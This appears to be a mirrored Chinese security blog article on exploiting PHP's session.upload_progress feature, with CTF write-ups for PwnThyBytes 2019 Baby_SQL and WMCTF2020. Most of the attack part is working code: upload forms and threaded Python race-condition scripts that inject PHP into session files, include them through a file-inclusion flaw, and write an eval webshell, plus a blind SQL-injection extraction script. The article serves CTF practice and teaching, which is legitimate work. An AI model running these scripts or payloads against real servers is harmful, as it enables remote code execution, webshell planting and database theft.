5

浅谈 SESSION_UPLOAD_PROGRESS 的利用

 2 years ago
source link: https://xz.aliyun.com/t/9545
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
浅谈 SESSION_UPLOAD_PROGRESS 的利用

浅谈 SESSION_UPLOAD_PROGRESS 的利用


[toc]

今天来说一个老生常谈的东西吧,虽然已经很老了,但是在 CTF 中还是经常遇到。

PHP SESSION 的存储

Session会话储存方式

PHP将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path

总结常见的php-session默认存放位置是很有必要的,因为在很多时候服务器都是按照默认设置来运行的,

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)
而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。

与 SESSION 有关的几个 PHP 选项

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

Session Upload Progress

Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。

下面给出一个php官方文档的一个进度数组的结构的样例:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

此时在session中存放的数据看上去是这样子的:

<?php
$_SESSION["upload_progress_123"] = array(    // 其中存在上面表单里的value值"123"
 "start_time" => 1234567890,   // The request time 请求时间
 "content_length" => 57343257, // POST content length  post数据长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed  已接收的字节数量
 "done" => false,              // true when the POST handler has finished, successfully or not
 "files" => array(
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  上传区域
   // The following 3 elements equals those in $_FILES
   "name" => "foo.avi",     // 上传文件名
   "tmp_name" => "/tmp/phpxxxxxx",     // 上传后在服务端的临时文件名
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

利用 Session Upload Progress 上传 Session

实验环境:

  • 目标主机Ubuntu:192.168.43.82

Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。

从上面官方的案例和结果中可以看到,session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要在上传文件的时候,同时POST一个恶意的字段 PHP_SESSION_UPLOAD_PROGRESS,目标服务器的PHP就会自动启用Session,Session文件将会自动创建。

我们怎么将session传过去呢?这里我们需要在本地构造一个上传和POST同时进行的情况,接下来我们构造一个上传表单,把下面代码保存为poc.html:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

本地访问poc.html,然后随便上传个文件后抓包,在HTTP头中加上一个 Cookie: PHPSESSID

如下图所示,成功在目标主机上初始化了一个随机命名的Session:

利用 Session Upload Progress 来 Getshell

在上面的实验中我们成功利用 PHP_SESSION_UPLOAD_PROGRESS,目标服务器上自动创建了一个Session文件。如果此时目标网站还存在文件包含漏洞的话,我们便可以配合文件包含漏洞来Getshell。其原理大致就是通过 PHP_SESSION_UPLOAD_PROGRESS 在目标主机上创建一个含有恶意代码的Session文件,之后利用文件包含漏洞去包含这个我们已经传入恶意代码的这个Session文件就可以达到攻击效果。

详情可以看我的另一篇文章:《SESSION LFI GetShell Via SESSION.UPLOAD_PROGRESS》

但是现实是残酷的,事实上这并不能完全的利用成功,因为 PHP的 session.upload_progress.cleanup = on 这个默认选项会有限制。即文件上传结束后,PHP 将会立即清空对应Session文件中的内容,这就导致我们在包含该Session的时候相当于在包含了一个空文件,没有包含我们传入的恶意代码。所以我们需要条件竞争,赶在文件被清除前利用包含即可。

还有一个点就是,如果此时不规定目标服务器上生成的Session文件的名字,就会生成一大堆不一样的Session文件,由于该Session文件过马上就会被清除,所以根本不是知道到底要用哪一个Session文件:

所以这里还要对生成的Session文件进行重命名,规定其生成指定的名字,当然这也是可行的,就是在cookie里面修改PHPSESSID的值。假设我们修改PHPSESSID为whoami,则生成统一的Session文件——"sess_whoami"

默认情况下,session.use_strict_mode 值是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=whoami,PHP将会在服务器上创建一个session文件:/var/lib/php/sessions/sess_whoami。

使用 Python 实现创建 Session 文件的过程:

import io
import requests
import threading

sessid = 'whoami'

def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://192.168.43.82/index.php',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid}
    )

with requests.session() as session:
    while True:
        POST(session)
        print("[+] 成功写入sess_whoami")

(1)上传文件并抓包

使用如下 poc.html 随便上传一个文件并抓包:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

如下图所示,添加一个Cookie并将PHPSESSID的值改为whoami:

这样就会生成统一名称的session文件——"sess_whoami",然后发送到Intruder不断发包,生成session,传入恶意会话。

(2)设置请求载荷 Null payloads 后不断发包,维持恶意session的存储

在这里我们不断发包,在服务器上我们可以看到生成的已传入了恶意代码的session文件:

(3)然后再去抓个包,利用目标网站上的文件包含漏洞不断去包含这个恶意会话文件

http://192.168.43.82/index.php?file=/var/lib/php/sessions/sess_whoami

这样,一边不断发包以维持恶意session存储,另一边不断发包请求包含恶意的session。如上图所示,发现包含利用成功。

当目标服务器的Web目录有权限时,利用这种方法我们可以成功在目标主机上写入Webshell,利用如下poc即可:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

上面的手动利用比较麻烦,我们可以编写利用脚本一键化完成整个攻击流程,并在目标服务器上写入Webshell。

import io
import sys
import requests
import threading

sessid = 'whoami'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://192.168.43.82/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://192.168.43.82/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

执行该利用脚本,如下图所示,成功在目标服务器中写入了Webshell:

在 Session 反序列化中的利用

Session反序列化漏洞的利用方式是通过传入恶意的序列化内容到指定的url,将其保存到session文件中。其本质是先将恶意内容传入,当再由另一个session选择器不同的页面重新加载session时,由于session序列化与反序列化引擎的不同,通过我们精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。

详情请参考:https://blog.csdn.net/qq_45521281/article/details/105890170

[PwnThyBytes 2019]Baby_SQL

进入题目,一个登录框:

访问source.zip得到源码。

index.php:

<?php
session_start();

foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");

    return addslashes($value);
}

isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');

?>

可以看到这里将通过GET、POST、SESSION和REQUEST方法获取到的参数全部使用addslashes函数进行了过滤。

register.php:

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");

$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));

?>

login.php:

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>

可以看到这里的SELECT语句本应该是可以进行联合注入的,但是由于index.php中将所有通过GET、POST、SESSION和REQUEST方法获取到的参数全部使用addslashes函数进行了过滤。所以我们要想在login.php中进行sql注入就需要绕过index.php中的过滤,那我们能否直接访问login.php进行sql注入呢?我们看到index.php中使用session_start()函数初始化了session,后面的login.php和register.php中都在开头位置使用 !isset($_SESSION) AND die("Direct access on this script is not allowed!"); 判断是否存在session,如果不存在的话就退出程序,所以如果我们要直接访问login.php进行sql注入的话,还需要带上一个session才行,这里边用上了我们的 PHP_SESSION_UPLOAD_PROGRESS 了。我们可以使用 PHP_SESSION_UPLOAD_PROGRESS 来在目标服务器上初始化一个session,然后便可以绕过index.php中的检测,直接访问login.php进行sql注入了。

由于login.php中没有输出,所以我们需要进行盲注,最后给出注入的exp脚本:

import io
import requests

url = 'http://54445ca2-77f7-4a00-9166-2b52e9fd20ef.node3.buuoj.cn/templates/login.php'
flag = ''

f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}

for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       #payload = "test\" or (ascii(substr((select database()),%d,1))>%d)#" %(i,mid)
       #payload = "test\" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d)#" %(i,mid)
       #payload = "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl'),%d,1))>%d)#" %(i,mid)
       payload = "test\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" %(i,mid)
       data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
       cookie = {"PHPSESSID": "whoami"}
       params = {
           "username": payload,
           "password": "123456"
       }
       res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
       #print(res.text)
       if 'meta' in res.text:      # 为真时,即判断正确的时候的条件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

[WMCTF2020]Make PHP Great Again

进入题目,给出源码:

代码很简单,简单的文件包含,但隐藏着巨大的玄机。乍眼一看使用php://filter伪协议包含flag.php即可得到flag,但是在PHP中,require_once() 函数在调用时PHP会检查该文件是否已经被包含过,如果是则不会再次包含,如上图的代码中flag.php已经被 require_once() 函数包含过了,所以我们就不能再使用他读取flag.php的源码了。那么我们可以尝试绕过这个机制吗?

这里预期的解法是用伪协议配合多级符号链接的办法进行绕过,但是这里既然存在文件包含,并且 session.upload_progress.enabled 选项又是默认开启的,那我们便可以利用该机制在目标服务器上写入Webshell或者执行任意代码直接读取到flag,exp如下:

import io
import sys
import requests
import threading

sessid = 'whoami'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://2f0dc537-6285-4cc7-aff0-eea69296dbaa.node3.buuoj.cn/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /proc/self/cwd/flag.php');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://2f0dc537-6285-4cc7-aff0-eea69296dbaa.node3.buuoj.cn/?file=../../../../../../../../tmp/sess_{sessid}')    # 该题生成的session存放在/tmp目录下
        # print('[+++]retry')
        # print(response.text)

        if 'flag{' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

Ending......


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK